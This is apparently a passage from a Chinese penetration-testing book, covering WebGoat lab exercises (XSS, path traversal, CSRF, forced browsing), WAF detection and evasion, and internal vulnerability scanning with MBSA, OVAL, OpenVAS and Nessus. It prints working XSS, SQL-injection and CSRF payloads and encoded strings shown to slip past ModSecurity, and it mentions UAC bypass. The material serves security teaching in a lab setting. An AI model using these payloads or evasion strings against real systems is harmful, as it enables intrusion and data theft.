另一个经受住时间考验的攻击是跨站脚本攻击XSS)。这是一个应用程序接受不受信任的数据并在没有适当验证的情况下发送到 Web 浏览器的过程。有两种验证类型,反射和存储,它们已经被非常成功地使用。

在使用 WebGoat 工具之前,我们将看一下我们可以在 OWASP 机器上使用的另一种方法:

  1. 在机器的主页面上,向下滚动直到看到测试工具的应用程序

  2. 点击OWASP-ZAP-WAVE打开我们想要测试的应用程序。

  3. 导航到活动漏洞 | 跨站脚本攻击 | 简单 XSS,在表单参数中打开一个表单供我们测试 XSS。

  4. 在表单字段中输入<script>alert("Hello")</script>并点击提交进行 XSS 测试。示例如下截图:跨站脚本攻击

现在我们已经成功进行了 XSS 攻击,我们将把注意力转向 WebGoat 工具中的课程:

  1. 登录到 WebGoat 教程。

  2. 一旦你开始了程序,点击跨站脚本攻击链接并展开它。我们将要学习的课程的示例如下截图:跨站脚本攻击

我们将从阶段 1开始。点击它并阅读课程的指示。正如指示所述,我们将对 Jerry 执行 XSS 攻击。为了做到这一点,我们必须将信息存储到 Tom 的记录中,这样当 Jerry 访问它时,他就会陷入 XSS 陷阱。

注意

我们只显示弹出框,以说明一旦发现弱点,你可以做更多的事情。一旦找到向量,就可以使用许多 Java 调用。

按照指示以 Tom 的身份登录应用程序:

  1. 一旦你以 Tom 的身份登录,你导航到查看个人资料 | 编辑个人资料来访问 Tom 的个人资料。

  2. 一旦你访问了它,你将在地址字段中输入脚本标记。在街道字段中,输入<script>alert("Hello")</script>,然后点击上传个人资料上传个人资料。

  3. 现在你将注销并以 Jerry 的身份重新登录。

  4. 一旦你以 Jerry 的身份登录,你将导航到Tom Cat | 查看个人资料,看看你是否成功。示例如下截图:跨站脚本攻击

我们不会执行阶段 2,因为它会改变代码以防止攻击,而我们是进攻方,所以我们不打算进行任何防御。接下来,我们将使用以下步骤执行阶段 3课程:

  1. 点击阶段 3:存储型 XSS 再审以打开登录页面,然后通过阅读指示开始下一个阶段。

  2. 我们将首先以David的身份登录,然后导航到Bruce | View Profile记录,并验证David是否是 XSS 的受害者。示例如下截图所示:跨站脚本攻击

正如前面的截图所示,我们不仅仅是弹出一个窗口,而是通过在警报框内使用document.cookie来访问了 cookie。

我们现在准备进入第 5 阶段。再次强调,我们不会执行第 4 阶段,因为这涉及到防御措施的设置,而我们现在不打算这样做。但是,你可以与其他阶段一起工作。只需记住你需要使用开发者包。

第 5 阶段,我们将按照以下方式使用反射型 XSS:

  1. 点击Stage 5: Reflected XSS以打开课程并阅读此阶段所需的说明。根据说明,你必须在应用程序的搜索功能中嵌入一个 XSS 字符串。

  2. 我们需要做的第一件事是以其中一个用户的身份登录。由于我们已经在应用程序中列出了用户Larry,所以我们将使用这个用户。

  3. 以用户Larry的身份登录,然后点击SearchStaff以打开应用程序代码的搜索部分。

  4. Name字段中输入<script>alert("You are Hacked")</script>,然后点击FindProfile按钮来运行脚本。结果的示例如下截图所示:跨站脚本攻击

就是这样!你已经进行了许多不同的 XSS 攻击,而且它们确实相对容易防止。然而,我们继续在 Web 应用程序中看到这些问题,并且它们将在一段时间内仍然作为一种可行的攻击向量存在。

不安全的直接对象引用

使用直接对象引用时,开发人员引用文件或其他对象而不使用任何形式的身份验证或访问控制检查。当我们发现这一点时,我们可以操纵数据并在不提供任何授权的情况下访问它。

我们将再次参考 WebGoat 工具来对抗应用程序的这种攻击。在 OWASP WebGoat 中,你要关注的区域是访问控制漏洞。一旦你扩展了它,你会看到有许多课程供我们使用。课程列表如下截图所示:

不安全的直接对象引用

我们想要打开的课程是列表中的第二个。点击Bypass a Path Based Access Control Scheme并阅读课程的说明。任何基于路径的控制保护的关键在于我们可以打破预期目录并访问位于另一个区域的文件。该课程应用程序的第一页如下截图所示:

不安全的直接对象引用

因此,挑战在于修改路径并访问当前目录之外的文件;在这种情况下,文件是tomcat-users.xml。你认为我们可以如何做到这一点?我们需要拦截某些东西,为此,我们必须使用代理来捕获查询。之前,我们使用了一个名为 Tamper Data 的工具,我们将再次使用它。首先,让我们启动一个工作空间来记录我们目前所拥有的信息。我们将使用记事本,但你可以使用任何你选择的程序。我们需要将当前目录路径和我们想要访问的文件的路径复制并粘贴到这个文档中。我们的工作空间示例如下截图所示:

不安全的直接对象引用

当我们查看工作空间中的信息时,我们发现在当前目录的路径中有几个目录,然后才能到达tomcat目录。然而,有一个问题。我们得到的当前目录有一个tomcat6目录,但我们的目标文件目录没有这个。说明中确实说过路径可能会不同,在这种情况下就是这样。我们需要使tomcat目录与当前目录匹配为tomcat6。突破访问控制的关键是使用../目录遍历技术来跳出目录。由于在tomcat6文件夹之前有四个目录,我们至少需要输入这么多目录遍历。因此,我们可以始终输入更多以确保安全。尝试绕过访问控制的字符串的工作空间示例如下截图所示:

不安全的直接对象引用

接下来的步骤是使用 Tamper Data 工具拦截查询,然后将我们的路径粘贴到包含我们正在尝试从应用程序上传的文件的字段中:

  1. 我们将导航到OffByOne.html | 查看文件并拦截查询。拦截到的查询示例如下截图所示:不安全的直接对象引用

拦截的查询显示我们正在查看文件字段,这就是我们需要放置我们准备好的字符串的地方。

  1. 将字符串粘贴到字段中,然后单击确定将字符串发送到应用程序。返回到 WebGoat 课程并查看发生了什么。示例如下截图所示:不安全的直接对象引用

  2. 正如前面的截图所示,我们第一次尝试并不成功,但错误消息告诉我们,我们似乎在我们的路径中只有一个目录。我们将在我们的字符串中再添加一个目录遍历,看看会发生什么。添加了一个目录遍历后的结果示例如下截图所示:不安全的直接对象引用

最终我们成功地突破了基于路径的访问控制。这可能是一个耗时的过程,这就是为什么我们通常使用 Web 应用程序测试工具来帮助我们识别需要进一步调查的领域。

安全配置错误

一种常见的攻击方法是寻找管理员设置的默认配置或名称,或者只是保留在安装状态下。对于 Web 应用程序,几乎总会有某种形式的配置访问,可用于配置或管理站点。我们在 WebGoat 工具中有一个关于这个的课程。导航到不安全配置 | 强制浏览以打开课程。正如您在说明中所读到的,通常会有一些可访问的配置来执行维护。我们可以尝试一些不同的文件名,但由于 OWASP 机器是一台 Linux 机器,这些机器最常见的配置文件是conf文件。因此,在浏览器中,将 URL 更改为http://10.2.0.132/WebGoat/conf,以查看是否有配置文件位于此处。这个结果的示例如下截图所示:

安全配置错误

就是这样!我们找到了一个不应该向公众开放的配置访问,但它却是。这是网站经常犯的一个错误。

敏感数据暴露

大多数 Web 应用程序没有正确保护它们要么处理的数据,要么存储的数据。发现数据未经加密或编码不当是很常见的。此外,当应用程序处理数据时,在许多情况下会暴露数据。

在 WebGoat 工具中,有一个课程可以让我们更加熟悉不同的编码技术。导航到不安全存储 | 编码基础以打开课程;以下是一个示例截图:

敏感数据暴露

这个课程非常简单,所以我们不会在这里再详细介绍。鼓励您输入几个字符串,然后在提供的表格中查看结果。

缺少功能级访问控制

这种弱点是由于开发人员在将功能可见于用户界面UI)之前未验证功能级访问控制。一旦发现这一点,您就可以伪造请求并可能在没有适当授权的情况下获得访问权限。

跨站请求伪造

跨站请求伪造CSRF)攻击中,我们需要用户登录到一个已建立会话并使用 cookie 的网站。当满足这些条件时,攻击会获取包含的身份验证信息并将其提交给一个易受攻击的应用程序。由于应用程序存储了身份验证信息,因此请求被视为合法。

在 WebGoat 工具中,我们有一些关于 CSRF 的课程。它们位于关于跨站脚本攻击 XSS 的部分。在 WebGoat 工具中,导航到跨站脚本攻击(XSS) | 跨站请求伪造以打开课程并查看课程说明。

对于这种攻击,我们需要向嵌入的 URL 添加一个转账功能,以获取用户的身份验证信息并用于验证我们的交易。我们将在 URL 中附加代码来转账。按照说明,我们可以通过右键单击页面左侧的课程标题并将其保存到剪贴板来复制 URL。我们想要使用<IMG>标签来存储我们的 URL。过程是发送一封电子邮件,让用户在登录到我们欺骗使用的应用程序时点击链接进行转账。

我们需要在两个区域输入信息。第一个是标题,第二个是消息。让我们按照以下方式进行:

  1. CSRF-1输入为标题的名称,然后输入以下字符串作为消息,要注意 IP 地址可能在您的攻击中有所不同。输入以下内容作为消息:
<IMG SRC="http://10.2.0.132/WebGoat/attack?Screen=52&menu=900&transferFunds=4000"width="1" height="1"/>

以下是一个示例截图:

跨站请求伪造

输入代码的 CSRF 屏幕(裁剪的文本不重要)

  1. 确认命令后,点击提交按钮。这将把您的标题放在应用程序的底部。

  2. 在您点击之前,启动您的 Tamper Data 代理并拦截请求。以下是拦截请求的示例截图:跨站请求伪造

在拦截的查询中查看信息后,点击确定,让查询发送到应用程序。如果需要,刷新 WebGoat 课程。您现在应该看到绿色的勾号,表示您成功了,如下面的截图所示:

跨站请求伪造

还有更多这样的课程可供您练习 CSRF,并鼓励您通过它们来完善您的技能、知识和对 Web 应用程序攻击的理解。

使用已知的易受攻击组件

在应用程序开发中,使用现有库和函数创建代码是一种常见做法,最近这种做法已被利用在攻击中。如果我们可以感染一个库、框架或其他流行组件,那么使用它的每一个应用程序都将面临漏洞。这是传播漏洞最有效的方式之一,也是越来越常见的事情,基于这一点,它在 2013 年被添加到顶级攻击列表中。

无效的重定向和转发

在这次攻击中,我们利用了许多 Web 应用程序会在没有适当验证的情况下使用重定向和转发,这可能导致流量重定向到恶意软件和其他恶意网站。

识别 Web 应用防火墙

当我们进行测试时,很可能会遇到Web 应用防火墙WAF)。这些旨在识别本章中大部分攻击(嗯,大部分基于 URL 的攻击)。我们将再次转向 Kali Linux 发行版来识别 WAF。您需要您的 Kali Linux 机器和我们在第六章中创建的 WAF 机器,创建外部攻击架构

一旦机器开始运行,我们要做的第一件事是确定我们的网站是否受到 Web 应用防火墙的保护。我们有几种方法可以做到这一点,每种方法的成功率都不同。我们将尝试的第一种方法是Nmap工具。

在您的 Kali Linux 机器上,打开终端窗口,输入nmap –p 80 -–script –http-waf-detect <目标 IP 地址>。这个脚本引擎将尝试确定是否存在 Web 应用防火墙。示例如下截图所示:

识别 Web 应用防火墙

正如前面的屏幕截图所示,脚本没有检测到我们正在运行 WAF,所以它并不总是有效。接下来,我们将查看dotDefender控制台,看它是否检测到我们的扫描。为此,我们需要打开浏览器,输入防火墙的地址,然后登录。示例如下截图所示:

识别 Web 应用防火墙

正如前面的屏幕截图所示,它检测到正在运行的脚本,但不幸的是,它没有告诉我们是否正在运行 WAF。所以,我们将查看另一个工具。在 Kali 中,我们有一个用于此目的的工具。转到应用程序 | Kali | IDS/IPS 识别 | Wafw00f,如下截图所示:

识别 Web 应用防火墙

一旦工具打开,输入wafw00f –v www.example.com在终端窗口中对站点进行扫描。我们正在扫描站点并比较从我们的探测中收到的信息。示例结果如下截图所示:

识别 Web 应用防火墙

结果显示,该网站似乎在防火墙后面。现在,我们将使用该工具扫描我们的 dotDefender 机器。我们通过将目标更改为我们机器的 IP 地址来执行此操作。示例结果如下截图所示:

识别 Web 应用防火墙

正如前面的屏幕截图所示,使用 wafw00f 工具似乎无法检测到最新版本的 dotDefender。这就是安全测试的现实,一旦某个东西存在一段时间后,就会有一群人试图找出改变或至少修改产品对工具的反应方式的方法。这就是为什么我们建立实验环境并查看什么有效和无效的原因。有时候,我们会很幸运地找到另一种识别错误的方法;此外,在某些情况下,错误消息可以列出设备的身份。这都是试错的过程。

渗透 Web 应用防火墙

正如我们之前讨论过的,规避检测可能是一个挑战,这与管理员如何配置策略有关。互联网上有很好的参考资料,您可以使用它们来查看您的混淆技术是否有效。免费开源的 WAF ModSecurity提供了一个网站,您可以在该网站上测试字符串,以查看它是否可能被 WAF 检测到。您可以在此位置找到该网站www.modsecurity.org/demo

一旦网站打开,您会看到有一个区域可以发布不同的字符串并查看结果。在您这样做之前,您还会看到他们列出了许多商业供应商用来展示其工具的网站。以下是此示例的屏幕截图:

穿透 Web 应用程序防火墙

屏幕显示了许多商业供应商用来展示其工具的网站列表(裁剪的文本不重要)

单击页面上的ModSecurity CRS Evasion Testing Demo链接。这将测试该字符串是否符合 ModSecurity 工具的核心规则集签名,并且您将找到输入潜在混淆脚本以查看是否被检测到的区域。它不仅告诉您是否被检测到,还为字符串提供了一个数值分数的排名。对于我们的第一个示例,我们将尝试一个简单的示例来查看表单的工作原理。在表单框中,输入经典的 SQL 注入字符串' OR 1=1 –-,然后单击发送按钮并查看结果。以下是结果的示例屏幕截图:

穿透 Web 应用程序防火墙

正如前面的屏幕截图所示,我们已经被检测到了!嗯,我们希望如此,因为我们使用了最常见和经典的字符串进行测试。我们还看到我们得分是 35。我们将看看是否可以降低得分。输入此字符串:1' AND non_existant_table ='1。以下是结果的示例屏幕截图:

穿透 Web 应用程序防火墙

该死!我们又被检测到了!至少有一些好消息;我们已经将得分降低到 25。这就是我们尝试找到得分更低或不被检测到的字符串的过程。我们将尝试一个 SQL 的字符串,然后继续尝试一个 XSS 的字符串。在负载窗口中,输入此字符串:&#49&#39&#32&#79&#82&#32&#39&#49&#39&#61&#39&#49

以下是结果的示例,显示在下面的屏幕截图中:

穿透 Web 应用程序防火墙

我们成功了!这是您在 Security Compass 的SQL Inject-Me工具中找到的字符串。您可以在他们的网站www.securitycompass.com找到该工具。现在我们准备看看是否可以找到一个不被检测到的 XSS 字符串。我们将为您节省一些时间,并尝试一个我们认为有很大机会要么得到低分,要么不被检测到的字符串。在负载窗口中,输入此字符串:prompt%28%27xss%27%29。以下是结果的示例屏幕截图:

穿透 Web 应用程序防火墙

我们再次成功了。现在我们有一个不被检测到的 XSS 和 SQL 注入字符串。当然,现实情况是我们已经提交了这些字符串,所以有人可能会做功课,然后在您阅读本书时我们将被检测到。如果发生这种情况,我们的工作就是继续尝试不同的方法,直到找到一个有效的方法。此外,这只是潜在地让我们通过 WAF,接下来就取决于应用程序开发人员是否使用了安全编码准则或最佳实践。欢迎来到专业安全测试的世界!

工具

到目前为止,在本书中,我们并没有专门设置关于工具的主题点。在大多数情况下,我们保持了过程中心,并在每个章节中讨论了一些工具。对于网页应用程序测试来说,情况就不同了。正如您在本章中看到的那样,有许多种输入和与网页应用程序交互的方式,这就是这种测试的挑战所在。因此,最好使用工具来获取大量数据,然后手动去调查感兴趣的领域。市面上有大量的工具,我们在这里不会逐一介绍。

我们喜欢使用的工具之一是Burp Suite,它有免费版本和商业版本。我们喜欢它,因为它允许我们在测试时做各种各样的事情,而且我们也喜欢商业版本的价格非常合理。您可以在www.portswigger.net找到有关该工具的信息。免费版本也可以在 Kali Linux 发行版中找到。要访问它,请导航至应用程序 | Web 应用程序 | Web 应用程序模糊器 | burpsuite以打开该工具。该工具的菜单示例如下截图所示:

工具

正如前面的屏幕截图所示,该工具具有许多功能,可以在进行网页应用程序测试时帮助我们。

总结

在本章中,我们讨论了对 Web 服务器和 Web 应用程序的评估。我们从讨论 OWASP 十大漏洞开始了本章。在讨论之后,我们使用了 WebGoat 工具,并进行了一些课程,展示了网页应用程序测试的概念和技术。

在研究了 OWASP 十大漏洞之后,我们研究了识别我们和目标之间的网页应用程序防火墙的方法。我们使用了 wafw00f 工具来潜在地检测已部署的保护类型。

一旦我们了解了如何检测 WAF,我们就讨论了如何渗透它。我们研究了我们可以使用的混淆方法,以尝试绕过 WAF 提供的保护。我们将样本字符串提交到 ModSecurity 演示站点,并成功地逃避了 SQL 注入字符串和 XSS 字符串的检测。

最后,我们讨论了在进行网页测试时需要工具的必要性,特别是网页应用程序测试。

这结束了本章。您现在已经练习了网页应用程序攻击以及检测和规避防火墙的方法。

在下一章中,我们将研究对平面和内部网络的测试。

第十章:测试平面和内部网络

在本章中,您将学习在网络是平面的情况下评估网络的技术,也就是说,我们和目标之间没有任何障碍。这使得我们的任务变得更容易;此外,网络内部通常是最受信任的位置,因此在涉及到二层和物理媒体访问控制(MAC)地址的分配时,它提供了最少的阻力。在本章中,我们将讨论以下主题:

  • 漏洞扫描器的作用

  • 处理主机保护

本章将为我们提供有关在进行内部或白盒测试时,我们不会遇到在进行外部或黑盒测试时所遇到的挑战的详细信息。这并不意味着当网络是平面的并且我们在其中时,我们没有挑战;我们可能会遇到许多挑战。此外,我们必须做好防护的准备,例如基于主机的入侵防护、防病毒软件、主机防火墙和管理员可能部署的增强缓解体验工具EMET)。

当我们从内部测试网络时,目标是模拟多种不同的威胁向量。此外,我们希望以未经身份验证的用户、具有普通权限的用户和具有提升权限的用户的身份访问网络;这与我们在网络内部使用的工具很相配。

漏洞扫描器的作用

那么,漏洞扫描器在其中扮演了什么角色呢?嗯,这就是它们擅长的地方:当您提供扫描器的凭据时,扫描器可以登录到计算机并检查客户端软件。这是我们在外部测试环境中大部分时间无法做到的事情。

在我们介绍 Kali Linux 发行版中可用的不同扫描工具之前,我们将看看两个可以用于内部网络漏洞评估的免费工具。

Microsoft 基线安全分析器

我们要看的第一个工具来自微软,它是Microsoft 基线安全分析器MBSA)。您可以从以下链接下载该工具:www.microsoft.com/en-us/download/details.aspx?id=7558

MBSA 工具的一个好处是它来自微软,并且对缺失的内容有很好的了解。它还可以很好地识别缺失的补丁并且可以识别安全配置错误。

当您下载并安装了该工具后,打开它并启动程序。以下是开屏配置的示例截图:

Microsoft 基线安全分析器

显示工具运行状态的屏幕(裁剪的文本不重要)

我们想要用工具做的第一件事是扫描一台计算机。要做到这一点,点击扫描计算机来开始配置过程并打开扫描数据输入屏幕。正如您所看到的,我们有相当多的扫描方式和一些可选设置可以选择。以下是一个示例截图:

Microsoft 基线安全分析器

在这个例子中,您可以扫描任何您喜欢的机器。我们将扫描我们正在撰写本书的本地主机。当您选择了目标后,点击开始扫描来开始扫描。随后,您将看到该工具连接到微软并下载最新的补丁信息。您也可以配置它从本地服务器获取信息,以防您的网络上没有可用的互联网连接。

以下是完成的扫描示例截图:

Microsoft 基线安全分析器

正如前面的截图所示,我们对我们扫描的这台机器有一些担忧。该工具的一个很好的特性是,我们可以点击如何纠正此链接,并获取有关发现的额外信息。额外信息的示例可以在以下截图中找到:

Microsoft 基线安全分析器

MBSA 工具很好地展示了漏洞扫描器的优点。这是由网络所有者使用的,因为它帮助他们进行漏洞管理程序。通过内部测试,我们还可以使用漏洞扫描器向客户展示他们的补丁管理策略是否有效。我们接下来要看的工具来自Mitre团队,它是开放漏洞评估语言OVAL)工具。

开放漏洞评估语言

OVAL 工具与 MBSA 工具不同,因为它不仅查看微软软件,还查看其他软件。重要的一点是,这个工具不是企业类型的工具,但是对于我们的内部测试目的,我们可以使用它来查看安装在机器上的软件,并查看是否存在任何漏洞。以下是来自其网站的 OVAL 描述截图:

开放漏洞评估语言

正如前面的截图所示,这个工具是国际化的,并提供了一种评估计算机系统状态的方法。我们将看一下这个工具。为此,我们将看一下 OVAL 解释器,它提供了一种演示工具及其定义的方法;您可以从sourceforge.net/projects/ovaldi/下载它。工具下载完成后,运行工具并安装它。为了本书的目的,我们将其安装在运行 Windows 7 的虚拟机上。请随意在您选择的机器上安装它。下载了工具之后,当您运行可执行文件时,它是一个 SFX 存档,执行后所有文件将解压缩到硬盘上的一个目录中。默认情况下,它将选择Program Files目录;但是,建议您将位置更改为目录名称中没有空格的位置。

解压缩文件后,您可以阅读README.txt文件,您会发现接下来要做的事情是下载最新的定义文件。以下截图显示了有关这些定义文件的信息,包括它们的类型:

开放漏洞评估语言

查看了定义的信息后,我们会想要使用漏洞定义。您可以从oval.mitre.org/rep-data/index.html下载它们的最新版本。在撰写本书时,OVAL 的最新版本是 5.10,这是我们将要使用的版本。您的版本可能不同,因此一些截图可能与本书中的截图不同。

您会注意到定义是按平台划分的;这样我们在运行解释器时只需专注于我们正在使用的特定平台。由于我们在本书中使用的是 Windows 7,我们只会下载它。您还会看到有一个哈希值来帮助维护定义的完整性。

提示

下载了定义之后,您会想把它放在 OVAL 目录中,并将其重命名为definitions.xml

重命名文件后,您就可以运行解释器工具了;在命令提示符窗口中输入以下内容:

ovaldi –m –a xml –x test.html

如果出现应用程序初始化错误,则必须下载适用于您的操作系统版本的正确 Visual C++平台,可能还需要.NET 4.0 包。这是使用 Windows 的一个缺点,特别是在使用开源工具时。当然,您也可能在 UNIX 和 Linux 中遇到相同的问题,例如库依赖性和其他挑战。有关更多信息,请参阅README文件。该命令使用哈希作为验证,以确保定义文件没有损坏。

运行命令时的初始结果示例如下截图所示:

Open Vulnerability Assessment Language

创建特征文件后,您将看到工具报告,指出它正在运行 OVAL 定义分析,并显示收集的日期。这个过程需要一些时间来完成,取决于运行的机器上的软件数量和其他因素。当工具到达这个阶段时的示例如下截图所示:

Open Vulnerability Assessment Language

分析完成后,输出将被写入命令行上指定的文件。在我们的示例中,我们将输出写入test.html文件。以下截图显示了系统信息的示例:

Open Vulnerability Assessment Language

上一张屏幕截图不仅显示了有关机器的信息,还显示了 OVAL 工具本身。它为我们提供了模式版本和产品版本。在此区域下方是工具发现的报告。这是漏洞的列表,包括对外部信息的引用,以了解更多关于发现的信息。以下截图显示了一个示例:

Open Vulnerability Assessment Language

显示了列出的漏洞,包括对外部信息的引用(裁剪的文本不重要)

如前面的截图所示,这里引用了 OVAL ID 和通用漏洞暴露CVE)编号。要获取更多信息,可以单击提供的链接。以下截图显示了 OVAL ID 网站上的信息示例:

Open Vulnerability Assessment Language

OVAL 工具是您可能想要更熟悉的工具。在进行内部测试时,它可以帮助您发现漏洞,而漏洞扫描器可能无法找到。我们现在将看一下通常从远程位置使用的漏洞扫描器。我们在 MBSA 工具中也有这个功能,但它需要特权访问来执行扫描。此外,OVAL 工具也需要特权访问。

无凭证扫描

在我们的内部测试中使用漏洞扫描器时,第一次扫描将不使用凭证,因此我们将查看 Kali Linux 中的工具来实现这一点。在 Kali Linux 中,漏洞扫描器位于应用程序 | Kali Linux | 漏洞分析位置。在这个位置中,有许多工具可供我们用于漏洞扫描。以下截图显示了一个示例:

Scanning without credentials

我们将使用的扫描器是 OpenVAS 扫描器。当您第一次开始使用 OpenVAS 时,需要执行一些步骤。第一步是导航到应用程序 | Kali Linux | 漏洞分析 | OpenVAS | 初始设置。这将下载所需的所有插件,并需要一些时间来完成。工具加载完成后,将要求输入密码;默认用户是admin,您可以输入自己选择的密码。

您需要做的下一件事是打开浏览器并连接到该工具的界面。在浏览器中输入https://127.0.0.1:9392以打开 OpenVAS。下面的截图显示了一个示例:

无凭证扫描

在浏览器中输入 https://127.0.0.1:9392 后显示的界面(裁剪的文本不重要)

使用用户名admin和您在初始设置期间创建的密码登录界面。这将带您进入扫描配置页面,在 Kali 中,包括一个快速入门区域,如下截图所示:

无凭证扫描

在进行扫描之前,我们还有一些额外的步骤要执行。第一步是更新网络漏洞测试NVT)源。导航到管理 | NVT 源 | 立即同步源;一旦同步完成,您需要更新安全内容自动化协议SCAP)源。我们可以通过导航到管理 | SCAP 源 | 与 SCAP 同步,然后通过导航到管理 | NVT 源 | 立即同步 CERT 源来完成这一步。

对于我们的第一次扫描,我们将扫描 Windows XP 机器,因为它应该为我们提供许多发现。正如您在快速入门部分的解释中所看到的,快捷方式可以帮我们省去创建目标和扫描的新任务的麻烦。对于阅读本书的一些人来说,您可能已经在BackTrack发行版上运行过 OpenVAS,并且还记得在那里进行扫描可能有多麻烦。

注意

如果您在 OpenVAS 上遇到问题,有时在 BackTrack 中执行该过程会更容易。由于某种原因,当您更新 Kali Linux 发行版时,有时会导致 OpenVAS 出现问题。有一些非常好的互联网教程可以使用该工具。在 BackTrack 上使用它的一个很受欢迎的教程可以在www.ehacking.net/2011/06/backtrack-5-openvas-tutorial.html找到。尽管它有点过时,但它运行得非常好。

一旦我们扫描了 XP 机器,我们将得到一份发现报告。XP 机器的报告示例如下截图所示:

无凭证扫描

Nessus

我们将使用的下一个工具是 Tenable 的漏洞扫描工具Nessus。您可以从www.tenable.com/products/nessus/select-your-operating-system下载该工具。

一旦您下载了该工具,您需要注册一个家庭注册源,然后安装软件。在本书中,我们将使用该工具的 Windows 版本。这是因为 Web 界面使用 Flash,这有时会在 Kali Linux 发行版中引起问题,因此通常更容易使用 Windows 工具。欢迎您在 Kali 中使用该工具;只需在互联网上搜索教程,它将指导您完成整个过程。

在撰写本书时,Nessus 的最新版本是 5.2.5,此版本包括许多功能和重新设计的 Nessus 界面。此外,他们还增加了创建修复报告的功能。当您进行测试时,这总是一个很好的功能,因为然后您可以帮助客户了解修复您发现的问题需要付出什么样的努力。在此版本中,您需要在执行扫描之前首先选择一个策略。策略选项的示例如下截图所示:

Nessus

在我们的示例中,我们将点击基本网络扫描并打开策略的配置表单。我们将扫描我们的 Windows 7 机器,但首先,我们需要为扫描输入一个名称。我们将输入名称为FirstScan。您还会注意到您可以选择一个范围。我们将保留私有的默认设置,并点击下一步进入下一个屏幕。我们可以选择内部外部作为扫描类型。由于我们在一个平面网络上,我们将使用内部的设置,并点击下一步。这将带我们到一个屏幕,我们可以添加凭据。由于这是一个没有凭据的扫描,我们现在不会这样做。所以,点击保存保存扫描的详细信息。我们第一次扫描策略的示例如下截图所示:

Nessus

现在我们准备开始扫描,所以导航到扫描 | 新扫描开始扫描的配置过程。输入扫描的名称,然后输入目标的 IP 地址。扫描配置的示例如下截图所示:

Nessus

一旦您验证了您的信息,点击启动按钮启动扫描。您会注意到扫描开始了,并且您应该看到一个运行中的消息来指示扫描处于运行状态。这将需要一些时间,但当扫描完成时,您将在状态区域看到它标记为已完成。扫描结果的示例如下截图所示:

Nessus

嗯,这并不是很令人兴奋;我们只有蓝色和三个漏洞。所以,我们需要扫描一些能够提供更多弱点的东西。我们现在就来做这个;下一个扫描将是 Windows XP 机器的扫描。这次扫描的结果示例如下截图所示:

Nessus

嗯,这好一点,但还不够好!

使用凭据进行扫描

再次强调,当提供凭据时,漏洞扫描器的工作效果最佳。到目前为止,我们还没有提供任何凭据。我们现在将这样做。如果您返回到扫描策略的配置,导航到策略 | 新策略,点击基本网络扫描,然后点击下一步。当您到达凭据页面的配置时,您需要输入管理员帐户的用户名和密码。还有一个有凭据的扫描选项,但现在我们将进行与刚才相同的扫描,看看会发生什么。一旦我们输入了所需的详细信息,点击启动启动扫描。

已完成扫描的示例如下截图所示:

Scanning with credentials

我们有一些更多的信息发现,但仍然只有相同的两个中等漏洞,那么现在我们该怎么办呢?这次我们将尝试另一个扫描,选择引用使用凭据的策略。返回扫描配置。当选项出现时,选择有凭据的扫描,让我们看看这是否会带来更多的成功。不幸的是,这也没有带来太多的成功。这个过程是从远程位置进行扫描并记录发现,然后如果范围允许,您可以使用 MBSA 或 OVAL 在本地进行扫描。

在我们继续之前,这里有一个重要的说明:我们一直在尝试对这台机器进行扫描,而那时,这台机器的 Windows 防火墙是开启的。因此,这是内部测试的挑战;如果机器开启了防火墙,可能会使事情变得更加困难。让我们再看一下关闭防火墙的 Windows 7 机器的一次扫描。如果机器在连接到网络时设置为公共,那么文件共享将被关闭,当我们使用工具对其进行扫描时,什么都不会起作用。因此,我们需要确保即使防火墙已启用,我们仍然可以访问文件共享端口。

以下是关闭防火墙的 Windows 7 扫描的示例截图:

使用凭据进行扫描

在这种情况下,我们现在有相当多的漏洞,因为我们将凭据添加到了扫描策略中。这就是漏洞扫描工具的威力所在;当它们有了凭据,它们就会更加有效。

接下来,我们将对 Unix 机器进行有和无凭据的扫描,以便比较不同的操作系统。我们将使用 FreeBSD Unix,实际上,我们将使用一个旧版本来看看我们能发现什么。我们将使用的版本是 6.4,在撰写本书时,版本是 10.0,因此有相当大的差异。以下是没有凭据的 FreeBSD 扫描的示例截图:

使用凭据进行扫描

正如我们从之前的截图中看到的,有三个低级漏洞。这是一台非常古老的 Unix 机器,因此很难相信只发现了三个漏洞。然而,让我们添加一些凭据,看看我们是否能得到更好的结果。对于 Unix 和 Linux,凭据是通过安全外壳SSH)提供的。以下是使用 SSH 凭据进行相同扫描的示例截图:

使用凭据进行扫描

现在我们有 28 个漏洞,但更重要的是,我们发现了一个关键的问题,即操作系统不受支持。我们可能会认为操作系统不受支持是因为它是一个非常旧的版本,但是当你仔细想想,漏洞并没有那么多。

您可能还会注意到,当您尝试扫描 FreeBSD Unix 机器时,扫描似乎需要很长时间。这是因为这台机器知道潜在的扫描是什么样子的,因此会限制它发送的内容。以下是一个示例截图:

使用凭据进行扫描

正如之前的截图所示,扫描工具正在请求大量数据包,而 FreeBSD 机器将其限制为每秒 200 个数据包,无论工具尝试什么。再加上大多数漏洞扫描工具主要关注 Windows,这就是为什么我们在扫描中没有看到很多结果的原因。

我们将尝试进行另一个扫描作为示例,看看当扫描遇到 Linux 目标时,扫描器会检测到什么。我们要做的第一次扫描是在之前创建的 Kioptrix 机器上使用 Nessus 进行扫描。以下是 Kioptrix 机器的 Nessus 网络扫描的示例截图:

使用凭据进行扫描

显示了 Kioptrix 机器的 Nessus 网络扫描示例(裁剪的文本不重要)

这更像是!我们至少可以检测到非常容易受攻击的 Linux 机器。这就是为什么我们在我们的范围内进行测试;我们想知道我们能够检测到什么,以及不能检测到什么。因此,根据本节,FreeBSD Unix 机器没有显示出太多信息,但 Windows 和 Linux 机器显示了。在测试时了解这一点是很重要的。如果你遇到了 Unix 机器,你会知道你可以将它保存到测试的最后,一旦你完成了其他机器的所有细节。

处理主机保护

我们知道很可能会遇到主机保护,因此在我们的渗透测试实验室中,我们想测试不同的主机保护,看看我们能做什么,不能做什么。这是一个取决于管理员和我们所面对的团队的领域。一个硬化的机器上几乎没有运行的服务将对我们的测试构成挑战。

用户账户控制

我们将遇到的最常见的事情之一是用户账户控制UAC);这是因为它默认情况下是开启的,并且在安装 Windows 时很少更改。关于 UAC 和绕过它的方法,一个好的方面是用户习惯于点击。因此,如果弹出窗口说需要权限,用户很可能会点击。我们可以利用这一点,但总有可能用户不会点击。因此,在这些情况下,我们依赖某种形式的 UAC 绕过来帮助我们绕过 UAC 保护。

在 metasploit 框架中,有一个 UAC 绕过,它是位于 Meterpreter shell 中的一个功能。有关 UAC 和绕过它的方法,请参考journeyintoir.blogspot.com/2013/03/uac-impact-on-malware.html

